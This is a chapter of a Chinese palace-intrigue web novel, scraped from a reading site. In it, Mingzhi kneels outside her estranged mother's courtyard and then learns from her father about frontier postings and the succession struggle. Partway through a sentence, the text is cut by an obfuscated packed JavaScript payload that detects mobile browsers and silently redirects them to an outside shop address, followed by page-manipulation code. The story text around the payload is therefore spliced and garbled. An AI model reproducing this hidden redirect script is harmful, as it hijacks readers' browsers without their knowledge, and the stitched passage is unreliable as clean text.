默认冷灰
24号文字
方正启体

19. 第 19 章

作者:鳖头本书字数:K更新时间:
    戌时一刻,栖梧院内烛影摇红。


    明栀刚刚抄毕最后一卷《地藏经》,腕骨微酸,搁下紫竹笔管。


    墨痕未干的纸页在灯下泛着柔光,她却无心整理,只凝眸望向蘅芷院的方向,眸光沉沉如浸寒潭。


    自那日后,母亲便锁死了院门,严令任何人不得踏入蘅芷院半步,连父亲亦被拒之门外。


    她每日三次前往,次次只见朱门紧闭。


    案头已叠了数册誊抄完毕的经卷,墨香暗浮,她净过手,将经页一一理齐,穿线装订,正要唤青棠同往,却见父亲身边的老仆福禄静候于门外阶下。


    “福叔来了,”明栀缓步上前,唇边牵起浅笑,“可是父亲有何吩咐?”


    福禄躬身立在石阶之下,闻声笑答:“也算不得急事,只是老爷心中惦念小姐,吩咐老奴传话,请小姐得空时往书房一见。”


    明栀颔首,心下暗忖:父亲平日下朝后若无要事,常与同僚品茶垂纶,这几日却一反常态,归府便闭于书房不出。


    朝堂之上,定是又起风波。


    “父亲可用过晚膳了?”


    “还未呢,小厨房一直温着菜,老爷却说手头事忙,让再等等,小姐去了,正好劝劝。”


    明栀眉尖轻蹙,忧色染上眼角,“父亲总这般饮食不定,最伤脾胃,我且去厨房取几样开胃小菜,好歹哄他进些汤水。”


    福禄闻言拭了拭眼角,连声感叹二小姐孝心至诚。


    待福禄身影消失在院外,明栀方与青棠转身,仍朝蘅芷院行去。


    “小姐不先去见老爷么?”青棠轻声问,却见明栀面色渐冷,便咽下了后半句。


    “先看母亲。”语声清寒,已无方才谈及父亲时的温切。


    她强迫自己心如铁石,胸中却似两军交战。


    平心而论,父亲待她素来不薄,甚至比母亲更为细致周全。


    可自从那日之后,往日父女间的舐犊之情竟似烟云消散,再难寻回。


    这些时日,她反反复复咀嚼父母从前相处的细碎片段,唯确认一事:二人间的裂痕与对峙,绝非一朝一夕之故。


    虽不知具体为何,但她断定,必是父亲伤了母亲。


    思及此,眸中霜色愈浓,只是这冷意未持续片刻,便被蘅芷院门前面无表情的钱嬷嬷拦住了去路。


    “夫人有令,二小姐不必再来了。”


    明栀凝视着她,目光如刃,若非顾忌母亲,这腌臜老奴早已悄无声息地消失。


    未等她开口,主屋门扉猛然打开,沈佩兰自内走出,容颜憔悴,一双柳眉紧蹙,竟透出几分凌厉煞气。


    明栀直直望向母亲眼中,试图寻得一丝往昔温存,却终究落空。


    那双眸子里除了厌弃,空无一物。


    剜心之痛骤然蔓延四肢百骸,她喉头哽塞,半个字也吐不出。


    母女对峙,不过短短数息,终究是明栀先承不住那冰刺般的目光,倏然移开视线。


    朝局诡谲,暗处之人虎视眈眈,往后怕是再无宁日,或许连这般前来叩门的机会,也将难得。


    她自青棠手中接过那叠装订齐整的《地藏经》,轻轻放入钱嬷嬷手中,而后拂衣跪下,朝门内郑重叩首。


    “啪——”


    重重阖门声击在耳畔,明栀抬首时,门前已无沈佩兰身影,唯有钱嬷嬷立在阶上,嘴角噙着一抹冷笑。


    她心头一哽,装作若无其事,依旧朝向紧闭的门扉,一次次俯身叩首。


    额抵冷石,声声闷响荡在寂夜里。


    待一切终了,再抬眼时,只觉天地昏朦。


    偌大院落仿佛沉入冰窖,连月色都凝作霜白,无声地覆满她跪着的身形。


    戌时三刻,明栀方提着红木食盒缓步至书房外。


    室内,明伯山正伏于宽大的书案前,执笔疾书。


    听得门响,他只略抬了抬眼,道了声“来了”,便又埋首于文牍之中。


    案头两座银烛台燃得正亮,将他的身影投在满壁书册之上,一只青瓷茶壶搁在一旁,茶烟袅袅,清冽的香气丝丝沁入,驱散了几分室内的沉郁与倦意。


    明栀悄无声息地放下食盒,敛裙端坐于一旁的绣墩上,静默相候。


    不知过了多久,才闻得一声长叹,明伯山搁下笔,用力捏了捏眉心,再抬眼时,面上已带了疲惫的笑意:“等久了吧?爹爹这几日,实在是忙。”


    明栀微笑摇头:“父亲操持偌大一个家,又处理朝中事务,女儿只恨自己力弱,不能为父亲分忧万一。”


    话音落下,书房内复归寂静,唯余烛芯偶尔噼啪轻响。


    良久,明伯山的声音里透出些许落寞:“女儿长大了,知道为爹爹分忧了。”语中似有无限忧伤。


    明栀闻声抬眼,烛光下,蓦然发觉父亲额角已是霜白丛生,眼白泛着浑浊的血丝,那曾经挺直的背脊,如今也呈佝偻之态。


    一股酸楚猛地冲上鼻尖,她心下一软,那句久违的称呼脱口而出:“爹爹……”


    明伯山似被这一声触动,眼眶微红,话也多了起来,父女间那层无形的薄冰,仿佛悄然消融了几分。


    见气氛和缓,明伯山一边用着女儿带来的清爽小菜与羹汤,一边状若闲聊般提起:“今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255882|198003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日,你外祖父自请前往边关驻守,陛下准了。”


    明栀一怔,立刻追问:“边关各处皆有守将,外祖父为何忽然请命前往?莫非……将有战事?”


    她心思急转,除却玉门关外匈奴时有骚扰,其余边境近年还算安宁。


    然国库空虚,粮饷不继,朝廷哪有余力兴兵?若非如此,泱泱大国又何至对匈奴一再忍让。


    “关将军不日将奉调回京任职。”明伯山饮罢一口汤,取了素帕轻拭嘴角。


    果然是玉门关。


    联想起巴郡修路,朝廷与罗刹贸易牛羊之事,再有关将军不惜与高家生出嫌隙也要请命回京。


    难道陛下已暗下决心,要对匈奴用兵?


    若果真如此,与罗刹的互市便只许成功,不许失败。


    否则外祖父危矣,边关亦必生大乱!


    思及此,明栀脸色已然发白,她不知玉门关究竟出了何种变故,竟逼得关将军行此险招,但她明白,这意味着玉门关已成危局。


    那外祖父为何偏偏在此刻,主动请缨前往?


    难道母亲寿宴那日的风波,终究还是牵连到了沈家?


    心绪如乱麻翻涌,她一时失了分寸,急急问道:“爹爹可知巴郡修路一事的详情?”不等父亲回答,又追问:“陛下这次派了何人前去督办?”


    明伯山站起身,缓缓收拾着案上散乱的纸张,仿佛并未察觉女儿的慌乱。


    “听闻派了关家长子,关羽书,那小子是个人才,此事若办得漂亮,前程怕是能越过他父亲去。”


    说着,忽又想起什么,补充道:“太子此番也要同行,陛下说是厌了他平日闲散,让他出去历练历练。”他笑了笑,语气似有感慨,“天下父母心,大抵皆是如此。”


    明栀心中却是惊涛骇浪,巴郡之事,三皇子一派出了关羽书,高阁老在彼处亦根基深厚。


    若一切如云瑞所言,意在促使三皇子与高阁老反目,那么太子亲临,极可能是为了坐实证据,将此局彻底钉死,再无转圜余地。


    此举亦可替太子积攒政绩,广植人脉,培植羽翼。


    这是否意味着,陛下在太子与三皇子之间,心中已然有所倾斜?


    可若三皇子当真能如陛下所期,为国事“大义灭亲”,自断臂膀,那这东宫之位,恐怕依旧悬而未决……


    千头万绪,一时难理分明,又见父亲面露浓重倦色,明栀只得按下满腹疑虑,提起空了的食盒,轻声告退。


    廊外月色清冷,她踏着斑驳的树影缓缓而归,只觉得那重重宫阙与深深庭院的阴影,正从四面八方悄然合拢而来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)